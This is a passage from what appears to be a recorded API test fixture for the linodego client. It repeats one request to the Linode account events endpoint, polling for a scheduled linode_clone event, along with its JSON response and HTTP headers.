Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - 